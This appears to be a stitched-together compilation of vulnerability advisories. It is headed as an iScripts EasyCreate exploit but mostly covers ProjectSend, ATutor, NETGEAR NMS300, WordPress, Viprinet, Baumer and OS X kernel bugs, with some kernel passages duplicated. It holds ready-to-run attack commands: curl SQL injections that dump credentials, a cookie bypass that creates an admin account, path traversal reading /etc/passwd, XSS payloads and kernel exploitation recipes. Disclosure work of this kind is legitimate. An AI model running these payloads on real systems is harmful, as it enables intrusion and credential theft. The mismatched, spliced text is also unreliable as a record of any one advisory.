# iScripts EasyCreate 3.0 Remote Code Execution Exploit
#
#
# Vendor: iScripts.com
# Product web page: http://www.iscripts.com
# Affected version: 3.0
#
# Summary: iScripts EasyCreate is a private label online website builder. This 
# software allows you to start an online business by offering website building 
# services to your customers. Equipped with drag and drop design functionality, 
# crisp templates and social sharing capabilities, this online website builder 
# software will allow you to provide the best website building features to your 
# users.
#
# Desc: iScripts EasyCreate suffers from an authenticated arbitrary PHP code
# execution. The vulnerability is caused due to the improper verification of 
# uploaded files in '/ajax_image_upload.php' script thru the 'userImages' POST 
# parameter. This can be exploited to execute arbitrary PHP code by uploading 
# a malicious PHP script file with '.php4' extension (to bypass the '.htaccess'
# block rule) that will be stored in '/uploads/siteimages/thumb/' directory.
#
# Tested on: Apache
#			 MySQL 5.5.40
#
# Vulnerability discovered by Bikramaditya 'PhoenixX' Guha

[Advisory]

- ZSL-2016-5298
- http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5298.php


[Bug Description and Proof of Concept]

1. Cross-Site Request Forgery (CSRF) - The application allows users to perform certain actions via HTTP requests 
without performing any validity checks to verify the requests. This can be exploited to perform certain actions 
with administrative privileges if a logged-in user visits a malicious web site
https://en.wikipedia.org/wiki/Cross-site_request_forgery

2. Cross Site Scripting (XSS) - Multiple cross-site scripting vulnerabilities were also discovered. The issue is 
triggered when input passed via multiple parameters is not properly sanitized before being returned to the user. 
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
https://en.wikipedia.org/wiki/Cross-site_scripting

3. SQL Injection - iScripts EasyCreate suffers from a SQL Injection vulnerability. Input passed via a GET 
parameter is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited 
to manipulate SQL queries by injecting arbitrary SQL code.
https://en.wikipedia.org/wiki/SQL_injection



[Proof-of-Concept]

1. SQL Injection

Title:  ProjectSend multiple vulnerabilities
Product:  ProjectSend (previously cFTP)
Version:  r582 and probably prior
Vendor:  www.projectsend.org
Vulnerability type:  SQL-injection, Auth bypass, Arbitrary File Access, Insecure Object Reference
Risk level:  4 / 5
Credit:  filippo.cavallarin@wearesegment.com
CVE:  N/A
Vendor notification:  2015-11-05
Vendor fix:  N/A
Public disclosure:  2016-01-29


ProjectSend (previously cFTP) suffers from multiple vulnerabilities:


- SQL Injection

The script manage-files.php suffers from a SQL-Injection vulnerability because the request parameter "status" is used to build a sql query without beeing properly sanitized. In order to exploit this issue, an attaccker must be logged into the application as a non-privileged user.
The following proof-of-concept demostrates this issue by downloading login credentials of registered users:

curl -X POST 'http://projectsend.local/manage-files.php?client_id=1' -H 'Cookie: PHPSESSID=hiefdo3ra5hgmpa5mrpdfhih22' --data "status=10' and 0 union select 0,1 ,'0) or 1 union select 0,1,concat(user,char(32),password),3,4,5,6,7,8,9 from tbl_users -- a',3,4,5,6,'7"



- SQL Injection

The script manage-files.php suffers from a SQL-Injection vulnerability because the request parameter "files" is used to build a sql query without beeing properly sanitized. In order to exploit this issue, an attaccker must be logged into the application as a non-privileged user.
The following proof-of-concept demostrates this issue by injecting a SLEEP command into the database engine:

curl -X POST 'http://projectsend.local/manage-files.php' --data 'files_actions=delete&do_action=&files%5B%5D=5) OR 1=sleep(10' -H 'Cookie: PHPSESSID=hiefdo3ra5hgmpa5mrpdfhih22'



- SQL Injection

The script clients.php suffers from a SQL-Injection vulnerability because the request parameter "selected_clients" is used to build a sql query without beeing properly sanitized. In order to exploit this issue, an attaccker must be logged into the application as a non-privileged user.
There is no POC available, but the vulnerability is easy to spot by looking at the source code at line 63.

    $selected_clients = $_POST['selected_clients'];
    $clients_to_get = mysql_real_escape_string(implode(',',array_unique($selected_clients)));
    $sql_user = $database->query("SELECT id, name FROM tbl_users WHERE id IN ($clients_to_get)");



- SQL Injection

The script clients.php suffers from a SQL-Injection vulnerability because the request parameter "status" is used to build a sql query without beeing properly sanitized. In order to exploit this issue, an attaccker must be logged into the application as a non-privileged user.
There is no POC available, but the vulnerability is easy to spot by looking at the source code at line 146.

    $status_filter = $_POST['status'];
    $cq .= " AND active='$status_filter'";
    [...]
    $sql = $database->query($cq);



- SQL Injection

The script process-zip-download.php suffers from a SQL-Injection vulnerability because the request parameter "file" is used to build a sql query without beeing properly sanitized.
There is no POC available, but the vulnerability is easy to spot by looking at the source code.

    $files_to_zip = explode(',',substr($_GET['file'], 0, -1));
    [...]
    foreach ($files_to_zip as $file_to_zip) {
    [...]
    $sql_url = $database->query('SELECT id, expires, expiry_date FROM tbl_files WHERE url="' . $file_to_zip .'"');



- SQL Injection

The script home-log.php suffers from a SQL-Injection vulnerability because the request parameter "action" is used to build a sql query without beeing properly sanitized.
There is no POC available, but the vulnerability is easy to spot by looking at the source code.

    $log_action = $_GET['action'];
    $log_query = "SELECT * FROM tbl_actions_log";
    if (!empty($log_action)) {
        $log_query .= " WHERE action = '$log_action'";



- Authentication Bypass

An Authenticaton Bypass vulnerability has been discovered in multiple pages. By adding a cookie to request it is possible to bypass certain authentication checks and gain access to protected resources.
The following proof-of-concepts are available:

Lists all registered users:
curl http://projectsend.local/users.php -H 'Cookie: userlevel=9'

Add an Admin user to the database:
curl http://projectsend.local/users-add.php -H 'Cookie: userlevel=9' -X POST --data 'add_user_form_name=necci&add_user_form_email=poplix@papuasia.org&add_user_form_level=9&add_user_form_user=necci&add_user_form_active=1&add_user_form_pass=123456'

Read file statsictics:
curl http://projectsend.local/home.php -H 'Cookie: userlevel=9'

Read file details:
curl http://projectsend.local/edit-file.php?file_id=1 -H 'Cookie: userlevel=9'

Bypass authentication:
curl  'http://projectsend.local/process-zip-download.php' -H 'Cookie: userlevel=8'


- Arbitrary File Download

The page process-zip-download.php fails to restrict access to local files. By injecting a path traversal vector into the "file" parameter it is possible to read an arbitrary file from the server.
By combining this vulnerability with the Authentication Bypass affecting the same file, is possible for a non-authenticated user to gain access to protected data.
The followinf proof-of-concept is available.

curl  'http://projectsend.local/process-zip-download.php?file=../../../../../../../../etc/passwdd' -H 'Cookie: userlevel=8' > ttt.zip


- Insecure Direct Object References

The page actions.log.export.php fails to perform authentication checks so it's possible for anyone to access logs data.
The followinf proof-of-concept is available.

curl http://projectsend.local/includes/actions.log.export.php


Solution
No solution is available at the time of writing.
The vendor has been contacted about three months before the public disclosure, but he stopped responding after we sent him our report.

1. Introduction

Affected Product:    Atutor 2.2
Fixed in:            partly in ATutor 2.2.1-RC1, complete in 2.2.1
Fixed Version Link:  http://www.atutor.ca/atutor/download.php
Vendor Website:      http://www.atutor.ca/
Vulnerability Type:  XSS
Remote Exploitable:  Yes
Reported to vendor:  11/17/2015
Disclosed to public: 02/01/2016
Release mode:        Coordinated Release
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

Atutor is a learning management system (LMS) written in PHP. In version 2.2, it
is vulnerable to multiple reflected and persistent XSS attacks.

The vulnerabilities can lead to the stealing of cookies, injection of
keyloggers, or the bypassing of CSRF protection. If the victim is an admin, a
successful exploitation can lead to code execution via the theme uploader, and
if the victim is an instructor, this can lead to code execution via a file
upload vulnerability in the same version of Atutor.

3. Details

XSS 1: Reflected XSS - Calendar

CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N

Description: The calendar_next parameter of the calendar is vulnerable to XSS.
This issue has been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

    http://localhost/ATutor/mods/_standard/calendar/getlanguage.php?token=calendar_next<script>alert(1)<%2fscript>&pub=1

Code:

    /mods/_standard/calendar/getlanguage.php
    $token = $_GET['token'];
    echo _AT($token);

XSS 2: Persistent XSS - Profile

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When saving profile information, < is filtered out. < on the
other hand is not filtered, but converted to <, which leads to persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1.

Proof of Concept:

Visit: 
    http://localhost/ATutor/users/profile.php 
In any field, enter 
    <img src=no onerror=alert(1)>

The input is for example echoed when visiting http://localhost/ATutor/users/
profile.php. This self-XSS may be exploited by force-logging in the victim.

The input is not only echoed to the user themselves, but also in other places.

For example, an attacker could send a private message to a victim. When the
victim views the message, or visits their inbox, the injected code will be
executed.

XSS 3: Persistent XSS - Forum

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When creating a forum post, the Subject parameter is vulnerable to
persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1.

Proof of Concept:

Visit a forum, eg here: 
    http://localhost/ATutor/mods/_standard/forums/forum/view.php?fid=1&pid=1 
Post a new message, as Subject, use: 
    Re: test topic'"><img src=no onerror=alert(1)>

In ATutor 2.2.1-RC1, < and > are encoded, preventing the proof of concept from
working. But until version 2.2.1, it was still possible to exploit this issue
either by using the JavaScript context the input is echoed into (onClick), or
by adding a new attribute:

adding new attributes: 
    Re: ';" onmouseover="alert(1); var foo=' 
staying inside the existing JavaScript context: 
    Re: test topic';alert(1);var foo='

XSS 4: Persistent self-XSS - Calendar

CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N

Description: The event name of the calendar is vulnerable to persistent XSS.
The calendar seems to be shown only to the user creating it, meaning the only
way to exploit this issue would be to force-login the victim.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

Visit: http://localhost/ATutor/mods/_standard/calendar/index_mystart.php 
Create event with name: 
    '"><img src=no onerror=alert(1)> 
Visit event page: http://localhost/ATutor/mods/_standard/calendar/index_mystart.php

XSS 5: Persistent XSS - Chat

CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N

Description: When viewing the chat history, chat messages are not properly HTML
encoded, leading to persistent XSS.

A user account is needed, but registration is open by default. This issue has
been fixed in ATutor 2.2.1-RC1.

Proof of Concept:

1. Visit Chat: 
    http://localhost/ATutor/mods/_standard/chat/chat.php 
2. Enter chat message: 
    '"><img src=no onerror=alert(1)> 
3. Visit chat history of that user: 
    http://localhost/ATutor/mods/_standard/chat/filterHistory.php?filterChatID=[USERNAME]

4. Solution

To mitigate this issue please upgrade at least to version 2.2.1:

http://www.atutor.ca/atutor/download.php

Please note that a newer version might already be available.

>> Remote code execution / arbitrary file download in NETGEAR ProSafe Network Management System NMS300
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/)
==========================================================================
Disclosure: 04/02/2016 / Last updated: 04/02/2016


>> Background on the affected product:
"NMS300
ProSAFE® Network Management System
Diagnose, control, and optimize your network devices.

The NETGEAR Management System NMS300 delivers insight into network elements, including third-party devices. An intuitive, web-based user interface makes it easier to monitor and administer an entire network."


>> Summary:
Netgear's NMS300 is a network management utility that runs on Windows systems. It has serious two vulnerabilities that can be exploited by a remote attacker. The first one is an arbitrary file upload vulnerability that allows an unauthenticated attacker to execute Java code as the SYSTEM user.
The second vulnerability is an arbitrary file download that allows an authenticated user to download any file from the host that is running NMS300.

A special thanks to Joel Land of CERT/CC for helping disclose this vulnerability under ID 777024 [1]. Two new Metasploit modules that exploit these vulnerabilities have been released.


>> Technical details:
#1
Vulnerability: Remote code execution via arbitrary file upload (unauthenticated)
CVE-2016-1525
Affected versions:
NMS300 1.5.0.11
NMS300 1.5.0.2
NMS300 1.4.0.17
NMS300 1.1.0.13

There are two servlets that allow unauthenticated file uploads:
@RequestMapping({ "/fileUpload.do" })
public class FileUpload2Controller
- Uses spring file upload

@RequestMapping({ "/lib-1.0/external/flash/fileUpload.do" })
public class FileUploadController
- Uses flash upload

The JSP file can be uploaded as shown below, it will be named null[name].[extension] and can be reached on http://[host]:8080/null[name].[extension].
So for example if [name] = "testing" and [extension] = ".jsp", the final file will be named "nulltesting.jsp". [name] and [extension] can be seen in the sample request below. The code will execute as the SYSTEM user.

POST /lib-1.0/external/flash/fileUpload.do HTTP/1.1
Content-Type: multipart/form-data; boundary=----------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3

#2
Vulnerability: Arbitrary file download (authenticated)
CVE-2016-1524
Affected versions:
NMS300 1.5.0.11
NMS300 1.5.0.2
NMS300 1.4.0.17
NMS300 1.1.0.13

Three steps need to be taken in order to exploit this vulnerability:
a) Add a configuration image, with the realName parameter containing the path traversal to the target file:
POST /data/config/image.do?method=add HTTP/1.1
realName=../../../../../../../../../../<file on C:\>&md5=&fileName=<imagename.img>&version=1337&vendor=Netgear&deviceType=4&deviceModel=FS526Tv2&description=bla

b) Obtain the file identifier (imageId) for the image that was created by scraping the page below for "imagename.img" (the fileName parameter in step 1):
POST /data/getPage.do?method=getPageList&type=configImgManager
everyPage=10000

Sample response:
{"page":{"beginIndex":0,"recordCount":7,"totalRecords":7,"currentPage":1,"everyPage":10,"totalPage":1},"list":[{"imageId":"1","fileName":"agga5.img","createTime":"10/03/2015 21:12:36","realFileName":"../../../../../../../../../../log.txt","vendor":"Netgear","deviceType":"4","deviceModel":"FS526Tv2","version":"2323","sizeM":"24491","createBy":"admin","createId":"1","description":"bla\r\n"}

c) Download the file with the imageId obtained in step 2:
GET /data/config/image.do?method=export&imageId=<ID>


>> Fix: 
No fix is currently available. It is recommended not to expose NMS300 to the Internet or any unstrusted networks.

* Exploit Title: WordPress User Meta Manager Plugin [Privilege Escalation]
* Discovery Date: 2015/12/28
* Public Disclosure Date: 2016/02/04
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://jasonlau.biz/home/
* Software Link: https://wordpress.org/plugins/user-meta-manager/
* Version: 3.4.6
* Tested on: WordPress 4.4.1
* Category: webapps

Description
================================================================================

User Meta Manager for WordPress plugin up to v3.4.6 suffers from a privilege 
escalation vulnerability. A registered user can modify the meta information of 
any registered user, including himself. This way he can modify `wp_capabilities`
meta to escalate his account to a full privileged administrative account.

Vulnerability title: Multiple Instances Of Cross-site Scripting In Viprinet Multichannel VPN Router 300

CVE: CVE-2014-2045

Vendor: Viprinet

Product: Multichannel VPN Router 300

Affected version: 2013070830/2013080900

Fixed version: 	2014013131/2014020702
Reported by: Tim Brown
Details:

	The data supplied to both the `old’ and `new’ web applications (the device has two web based management interfaces) was permanently stored and could be retrieved later by other users. This is a normal feature of many applications, however, in this instance the application failed to restrict the type of data that could be stored and also failed to sanitise it, meaning that it could not be safely rendered by the browser.

	Stored cross-site scripting could be triggered by:

	
		Attempting to login with a username of `<script>alert(1)</script>’ (affects `old’ interface and results in post-authentication cross-site Scripting when a legitimate administrator views the realtime log)
		Creating an account with a username of `<script>alert(1)</script>’ (affects both `old’ and `new’ interfaces once created)
		Setting the device’s hostname to `<script>alert(1)</script>’  (affects `old’ interface once created)
	

	A number of locations were identified as being vulnerable to reflective attacks, including:


http://<host>/exec?module=config&sessionid=<sessionid>&inspect=%3Cscript%20src=http://localhost:9090%3E%3C/script%3E
http://<host>/exec?tool=atcommands&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&commands=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
http://<host>/exec?tool=ping&sessionid=<sessionid>&sourceobject=WANINTERFACELIST.OBJECT__0&module=configtools&host=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&pingcount=3&databytes=56


	The inclusion of session IDs in all URLs partially mitigates the reflective cross-site scripting but could itself be considered a vulnerability since it is included in referred headers and log files.

	These are simply some examples of how this attack might be performed, and the it is believed that both the `old’ and `new’ web applications are systemically vulnerable to this.

# Baumer VeriSens Application Suite 2.6.2 Buffer Overflow Vulnerability
#
#
# Vendor: Baumer Holding AG | Baumer Optronic GmbH
# Product web page: http://www.baumer.com
# Software link: http://www.baumer.com/us-en/products/identification-image-processing/software-and-starter-kits/verisens-application-suite/

#
# Summary: The Baumer Application Suite is the intuitive configuration
# software for VeriSens vision sensors, which makes it quick and simple
# for even new users to implement image processing tasks. Starting with
# the creation of test tasks through to the management of jobs, the program
# will take you through just a few steps to reach your goal.
#
# Desc: The vulnerability is caused due to a boundary error in baselibs.dll
# library when processing device job file, which can be exploited to cause
# a buffer overflow when a user opens e.g. a specially crafted .APP file.
# Successful exploitation could allow execution of arbitrary code on the
# affected machine.

Method 5 of the IOHDIXController user client is createDrive64. This takes a 0x100 byte structure input from which it reads a userspace pointer and a size which it passes to IOHDIXController::convertClientBuffer. This wraps the memory pointed to by the userspace pointer in an IOMemoryDescriptor then takes the user-provided size, casts it to a 32-bit type and adds one. It passes that value to IOMalloc. By passing a size of 0xffffffff we can cause an integer overflow and IOMalloc will be passed a size of 0.

IOMalloc falls through to kalloc which will quite happily make a 0-sized allocation for us and return a valid, writable kernel heap pointer.

The original size we specified, cast to a 32-bit type but withone one added to it is then passed as the size of the target buffer in the call to IOMemoryDescriptor::readBytes which attempts to read from the wrapped userspace memory into the undersized kernel heap buffer.

It actually tries to use some fancy DMA stuff to do that copy and this PoC will almost certainly fail and kernel panic somewhere inside that DMA code as there probably aren't valid page-table entries for the whole destination range. But some kalloc heap spraying should take care of that allowing us to actually overwrite stuff :)

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

The IOHIDLibUserClient allows us to create and manage IOHIDEventQueues corresponding to available HID devices.

Here is the ::start method, which can be reached via the IOHIDLibUserClient::_startQueue external method:

************ SNIP **************

void IOHIDEventQueue::start() 
{
    if ( _lock )
        IOLockLock(_lock);

    if ( _state & kHIDQueueStarted )
        goto START_END;

    if ( _currentEntrySize != _maxEntrySize )   <--- (a)
    {
        mach_port_t port = notifyMsg ? ((mach_msg_header_t *)notifyMsg)->msgh_remote_port : MACH_PORT_NULL;
        
        // Free the existing queue data
        if (dataQueue) {                   <-- (b)
            IOFreeAligned(dataQueue, round_page_32(getQueueSize() + DATA_QUEUE_MEMORY_HEADER_SIZE));
        }
        
        if (_descriptor) {
            _descriptor->release();
            _descriptor = 0;
        }
        
        // init the queue again.  This will allocate the appropriate data.
        if ( !initWithEntries(_numEntries, _maxEntrySize) ) {      (c) <----
            goto START_END;
        }
        
        _currentEntrySize = _maxEntrySize;
        
        // RY: since we are initing the queue, we should reset the port as well
        if ( port ) 
            setNotificationPort(port);
    }
    else if ( dataQueue )
    {
        dataQueue->head = 0;
        dataQueue->tail = 0;
    }

    _state |= kHIDQueueStarted;

START_END:
    if ( _lock )
        IOLockUnlock(_lock);

}

************ SNIP **************


If _currentEntrySize is not equal to _maxEntrySize then the start method will attempt to reallocate a better-sized queue;
if dataQueue (a member of IODataQueue) is non-zero its free'd then initWithEntries is called with the new _maxEntrySize.

Note that the error path on failure here jumps straight to the end of the function, so it's up to initWithEntries to
clear dataQueue if it fails:


************ SNIP **************

Boolean IOHIDEventQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize)
{
    UInt32 size = numEntries*entrySize;
    
    if ( size < MIN_HID_QUEUE_CAPACITY )
        size = MIN_HID_QUEUE_CAPACITY;
        
    return super::initWithCapacity(size);
}

************ SNIP **************


There's a possible overflow here; but there will be *many* possible overflows coming up and we need to overflow at the right one...

This calls through to IOSharedDataQueue::initWithCapacity


************ SNIP **************

Boolean IOSharedDataQueue::initWithCapacity(UInt32 size)
{
    IODataQueueAppendix *   appendix;
    vm_size_t               allocSize;

    if (!super::init()) {
        return false;
    }


    _reserved = (ExpansionData *)IOMalloc(sizeof(struct ExpansionData));
    if (!_reserved) {
        return false;
    }

    if (size > UINT32_MAX - DATA_QUEUE_MEMORY_HEADER_SIZE - DATA_QUEUE_MEMORY_APPENDIX_SIZE) {
        return false;
    }
    
    allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE);

    if (allocSize < size) {
        return false;
    }

    dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);

************ SNIP **************


We need this function to fail on any of the first four conditions; if we reach the IOMallocAligned call
then dataQueue will either be set to a valid allocation (which is uninteresting) or set to NULL (also uninteresting.)

We probably can't fail the ::init() call nor the small IOMalloc. There are then two integer overflow checks;
the first will only fail if size (a UInt32 is greater than 0xfffffff4), and the second will be impossible to trigger on 64-bit since
round_pages will be checking for 64-bit overflow, and we want a cross-platform exploit!

Therefore, we have to reach the call to initWithCapacity with a size >= 0xfffffff4 (ie 12 possible values?)

Where do _maxEntrySize and _currentEntrySize come from?

When the queue is created they are both set to 0x20, and we can partially control _maxEntrySize by adding an new HIDElement to the queue.

_numEntries is a completely controlled dword.

So in order to reach the exploitable conditions we need to:

1) create a queue, specifying a value for _numEntries. This will allocate a queue (via initWithCapacity) of _numEntries*0x20; this allocation must succeed.

2) add an element to that queue with a *larger* size, such that _maxEntrySize is increased to NEW_MAX_SIZE.

3) stop the queue.

4) start the queue; at which point we will call IOHIDEventQueue::start. since _maxEntrySize is now larger this
will free dataQueue then call initWithEntries(_num_entries, NEW_MAX_SIZE). This has to fail in exactly the manner
described above such that dataQueue is a dangling pointer.

5) start the queue again, since _maxEntrySize is still != _currentEntrySize, this will call free dataQueue again!


The really tricky part here is coming up with the values for _numEntries and NEW_MAX_SIZE; the constraints are:

_numEntries is a dword
(_numEntries*0x20)%2^32 must be an allocatable size (ideally <0x10000000)
(_numEntries*NEW_MAX_SIZE)%2^32 must be >= 0xfffffff4

presumable NEW_MAX_SIZE is also reasonably limited by the HID descriptor parsing code, but I didn't look.

This really doesn't give you much leaway, but it is quite satisfiable :)

In this case I've chosen to create a "fake" hid device so that I can completely control NEW_MAX_SIZE, thus the PoC requires
root (as did the TAIG jailbreak which also messed with report descriptors.) However, this isn't actually a requirement to hit the bug; you'd just need to look through every single HID report descriptor on your system to find one with a suitable report size.

In this case, _numEntries of 0x3851eb85 leads to an initial queue size of (0x3851eb85*0x20)%2^32 = 0xa3d70a0
which is easily allocatable, and NEW_MAX_SIZE = 0x64 leads to: (0x3851eb85*0x64)%2^32 = 0xfffffff4


To run the PoC:

1) unzip and build the fake_hid code and run 'test -k' as root; this will create an IOHIDUserDevice whose
cookie=2 IOHIDElementPrivate report size is 0x64.

2) build and run this file as a regular user.

3) see double free crash.

There's actually nothing limiting this to a double free, you could go on indefinitely free'ing the same pointer.

As I said before, this bug doesn't actually require root but it's just *much* easier to repro with it!

Guessing that this affects iOS too but haven't tested.

NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html

By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
OS X this is a real security boundary.

necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
The type field is a single byte and the length is a size_t (ie 8 bytes.)

by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:

  // Read policy conditions
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);

    if (condition_size > 0) {
      conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
    }
  }

The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )

This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:

one of length 1; one of length 1024 and one of length 2^64-1051;

later conditions_array_size is used as the size of a memory allocation:

  MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);

There is then a memory copying loop operating on the undersized array:

  conditions_array_cursor = 0;
  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)

  for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
    cursor >= 0;
    cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
    u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
    size_t condition_size = 0;
    necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
    if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) {   <-- (a)
      // Add type
      memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
      conditions_array_cursor += sizeof(condition_type);

      // Add length
      memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
      conditions_array_cursor += sizeof(condition_size);

      // Add value
      necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL);  <-- (b)

There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
loop (conditions_array_size[1] - conditions_array_cursor[9]) will underflow allowing us to reach the necp_packet_get_tlv_at_offset call which will
then copy the second 1024 byte policy.

By contstructing the policy like this we can choose both the allocation size and the overflow amount, a nice primitive for an iOS kernel exploit :)

this will crash in weird ways due to the rather small overflow; you can mess with the PoC to make it crash more obviously! But just run this PoC a bunch
of times and you'll crash :)
